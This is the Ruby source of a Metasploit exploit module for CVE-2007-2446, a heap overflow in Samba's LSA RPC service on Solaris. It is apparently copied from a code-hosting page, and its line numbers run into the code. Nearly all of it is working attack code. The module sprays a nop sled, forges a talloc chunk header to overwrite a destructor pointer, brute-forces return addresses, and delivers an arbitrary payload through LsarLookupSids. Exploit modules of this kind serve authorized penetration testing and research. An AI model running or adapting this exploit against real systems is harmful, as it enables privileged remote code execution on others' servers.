Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/samba/lsa_transnames_heap.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client10include Msf::Exploit::Brute1112def initialize(info = {})13super(update_info(info,14'Name' => 'Samba lsa_io_trans_names Heap Overflow',15'Description' => %q{16This module triggers a heap overflow in the LSA RPC service17of the Samba daemon. This module uses the TALLOC chunk overwrite18method (credit Ramon and Adriano), which only works with Samba19versions 3.0.21-3.0.24. Additionally, this module will not work20when the Samba "log level" parameter is higher than "2".21},22'Author' =>23[24'Ramon de C Valle',25'Adriano Lima <adriano[at]risesecurity.org>',26'hdm'27],28'License' => MSF_LICENSE,29'References' =>30[31['CVE', '2007-2446'],32['OSVDB', '34699'],33],34'Privileged' => true,35'Payload' =>36{37'Space' => 1024,38},39'Platform' => 'solaris',40'Targets' =>41[42['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',43{44'Platform' => 'solaris',45'Arch' => [ ARCH_X86 ],46'Nops' => 64 * 1024,47'Bruteforce' =>48{49'Start' => { 'Ret' => 0x082f2000 },50'Stop' => { 'Ret' => 0x084f2000 },51'Step' => 60 * 1024,52}53}54],55['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',56{57'Platform' => 'solaris',58'Arch' => [ ARCH_SPARC ],59'Nops' => 64 * 1024,60'Bruteforce' =>61{62'Start' => { 'Ret' => 0x00322000 },63'Stop' => { 'Ret' => 0x00722000 },64'Step' => 60 * 1024,65}66}67],68['DEBUG',69{70'Platform' => 'solaris',71'Arch' => [ ARCH_X86 ],72'Nops' => 64 * 1024,73'Bruteforce' =>74{75'Start' => { 'Ret' => 0xaabbccdd },76'Stop' => { 'Ret' => 0xaabbccdd },77'Step' => 60 * 1024,78}79}80],81],82'DisclosureDate' => '2007-05-14',83'DefaultTarget' => 084))8586register_options(87[88OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),89])9091end9293# Need to perform target detection94def autofilter95false96end9798def brute_exploit(target_addrs)99100if(not @nops)101if (target['Nops'] > 0)102print_status("Creating nop sled....")103@nops = make_nops(target['Nops'])104else105@nops = ''106end107end108109print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])110111nops = @nops112pipe = datastore['SMBPIPE'].downcase113114print_status("Connecting to the SMB service...")115connect()116smb_login()117118datastore['DCERPC::fake_bind_multi'] = false119120handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])121print_status("Binding to #{handle} ...")122dcerpc_bind(handle)123print_status("Bound to #{handle} ...")124125num_entries = 272126num_entries2 = 288127128#129# First talloc_chunk130# 16 bits align131# 16 bits sid_name_use132# 16 bits uni_str_len133# 16 bits uni_max_len134# 32 bits buffer135# 32 bits domain_idx136#137buf = (('A' * 16) * num_entries)138139# Padding140buf << 'A' * 8141142# TALLOC_MAGIC143talloc_magic = "\x70\xec\x14\xe8"144145# Second talloc_chunk header146buf << 'A' * 8 # next, prev147buf << NDR.long(0) + NDR.long(0) # parent, child148buf << NDR.long(0) # refs149buf << [target_addrs['Ret']].pack('V') # destructor150buf << 'A' * 4 # name151buf << 'A' * 4 # size152buf << talloc_magic # flags153154stub = lsa_open_policy(dcerpc)155156stub << NDR.long(0) # num_entries157stub << NDR.long(0) # ptr_sid_enum158stub << NDR.long(num_entries) # num_entries159stub << NDR.long(0x20004) # ptr_trans_names160stub << NDR.long(num_entries2) # num_entries2161stub << buf162stub << nops163stub << payload.encoded164165print_status("Calling the vulnerable function...")166167begin168# LsarLookupSids169dcerpc.call(0x0f, stub)170rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError171print_status('Server did not respond, this is expected')172rescue Rex::Proto::DCERPC::Exceptions::Fault173print_error('Server is most likely patched...')174rescue => e175if e.to_s =~ /STATUS_PIPE_DISCONNECTED/176print_status('Server disconnected, this is expected')177else178print_error("Error: #{e.class}: #{e}")179end180end181182handler183disconnect184end185186def lsa_open_policy(dcerpc, server="\\")187stubdata =188# Server189NDR.uwstring(server) +190# Object Attributes191NDR.long(24) + # SIZE192NDR.long(0) + # LSPTR193NDR.long(0) + # NAME194NDR.long(0) + # ATTRS195NDR.long(0) + # SEC DES196# LSA QOS PTR197NDR.long(1) + # Referent198NDR.long(12) + # Length199NDR.long(2) + # Impersonation200NDR.long(1) + # Context Tracking201NDR.long(0) + # Effective Only202# Access Mask203NDR.long(0x02000000)204205res = dcerpc.call(6, stubdata)206207dcerpc.last_response.stub_data[0,20]208end209210211end212213214